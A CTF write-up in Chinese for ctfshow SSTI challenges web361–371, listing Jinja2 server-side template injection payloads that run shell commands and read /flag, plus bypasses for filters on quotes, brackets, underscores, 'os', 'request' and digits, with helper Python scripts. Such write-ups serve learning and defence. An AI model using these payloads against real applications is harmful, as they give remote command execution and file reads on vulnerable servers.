ctfshow-web入门-361-372-ssti
ctfshow-ssti-web361-372-wp_ctfshow ssti-CSDN博客
SSTI 注入 - Hello CTF
web361
名字就是考点

有回显
拿基类 {{().__class__.__base__}}

拿子类 {{().__class__.__base__.__subclasses__()}}

然后用脚本查找序号,找到包含 eval 函数的类,eval函数在 <class 'warnings.catch_warnings'>
import requests
from tqdm import tqdmfor i in tqdm(range(233)):url = 'http://84932bb8-1e59-485a-914c-5522b93d6c9f.challenge.ctf.show/?name={{().__class__.__base__.__subclasses__()[' + str(i) + ']}}'r = requests.get(url=url).textif ('warnings.catch_warnings' in r):print(i)

{{().__class__.__base__.__subclasses__()[185]}}

初始化对象,获取函数方法合集,并确定存在内建 eval 函数:
{{().__class__.__base__.__subclasses__()[185].__init__.__globals__}}

但由于 eval 在全局域中是一个 built-in function 即 内置函数 ,所以我们无法直接通过 __globals__['eval'] 来直接调用内置函数,Python 的内置函数和对象通常是全局可用的,但它们通常不是函数内部的一部分。因此,要在函数内部访问内置函数(如 eval)或内置对象(如 os),需要通过 __builtins__ 来访问。SSTI 注入 - Hello CTF
?name={{().__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
拿目录

?name={{().__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__['eval']('__import__("os").popen("cat /flag").read()')}}
找flag

web362
lipsum 和 cycler 执行命令(不需要索引)
?name={{lipsum.__globals__['os'].popen('ls /').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls /').read()}}




web363
过滤引号
1.通过request.args的get传参
?name={{cycler.__init__.__globals__.os.popen(request.args.a).read()}}&a=ls /

?name={{cycler.__init__.__globals__.os.popen(request.args.a).read()}}&a=cat /flag

2.chr拼接
将被单引号笼罩的字符换为ascii值,然后用+(%2b)连接
?name={{cycler.__init__.__globals__.os.popen(chr(108)%2bchr(115)%2bchr(32)%2bchr(47)).read()}}
ctfshow-ssti-web361-372-wp_ctfshow ssti-CSDN博客
web364
过滤了 args
1.values绕过
values 可以获取所有参数,从而绕过 args
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

2.Cookie 绕过
?name={{lipsum.__globals__.os.popen(request.cookies.ocean).read()}}
cookie:ocean=cat /flag

web365
多过滤了[]



过滤了这四个
1.values绕过
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag

2.Cookie绕过
?name={{cycler.__init__.__globals__.os.popen(request.cookies.cmd).read()}}
Cookie:cmd=cat /flag
?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag
?name={{lipsum.__globals__.os.popen(request.cookies.c).read()}}
Cookie:c=cat /flag

web366
多过滤了_

1.values绕过
将类方法替换,如lipsum|atter(request.cookies.a)=lipusum.__globals__
lipsum|atter(request.values.a)=lipusum.__globals__
?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

2.Cookie绕过
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.c).read()}}
Cookie:a=__globals__;c=cat /flag

web367
多过滤了os

1.values绕过
将os替换为get(request.values.b)
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&c=cat /flag&b=os

2.cookie绕过
类似的
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;c=cat /flag;b=os

web368
多过滤了 {{


{%print绕过
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&c=cat%20/flag&b=os

web369
多过滤了request

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
//字典键拼接pop
//让变量a的值为下划线"_"
//构造字符串__init__
//__globals__
//__getitem__
//__builtins__
//__init__->__globals__->__getitem__->__builtins__
//构造/flag

web370
多过滤了数字

将数字转换为全角数字
def half_to_full_width(text):"""将字符串中的半角数字替换为全角数字"""result = []for char in text:# 半角数字的Unicode范围:48-57(对应0-9)if 48 <= ord(char) <= 57:# 半角转全角:加上65248(48 + 65248 = 65296,即全角“0”)full_char = chr(ord(char) + 65248)result.append(full_char)else:# 非半角数字保持不变result.append(char)return ''.join(result)def process_file(input_file, output_file):"""处理文件:读取内容并替换半角数字为全角后写入新文件"""try:with open(input_file, 'r', encoding='utf-8') as f:content = f.read()converted_content = half_to_full_width(content)with open(output_file, 'w', encoding='utf-8') as f:f.write(converted_content)print(f"处理完成,结果已保存到 {output_file}")except FileNotFoundError:print(f"错误:找不到文件 {input_file}")except Exception as e:print(f"处理文件时出错:{str(e)}")if __name__ == "__main__":# 示例1:处理字符串test_str = "?name={% set po=dict(po=a,p=a)|join%}{% set a=(()|select|string|list)|attr(po)(24)%}{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%print(x.open(file).read())%}"converted_str = half_to_full_width(test_str)print("原始字符串:", test_str)print("转换后字符串:", converted_str)# 示例2:处理文件(如需使用,取消下面两行注释并修改文件名)# input_filename = "input.txt" # 输入文件路径# output_filename = "output.txt" # 输出文件路径# process_file(input_filename, output_filename)
注意要把%2b的2换回数字
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
web371
多过滤了print

ctfshow-web入门-SSTI(web369-web372)下_ctfshow web371-CSDN博客
外带攻击
试了下DNSLog 平台,但是我构造不出payload来。
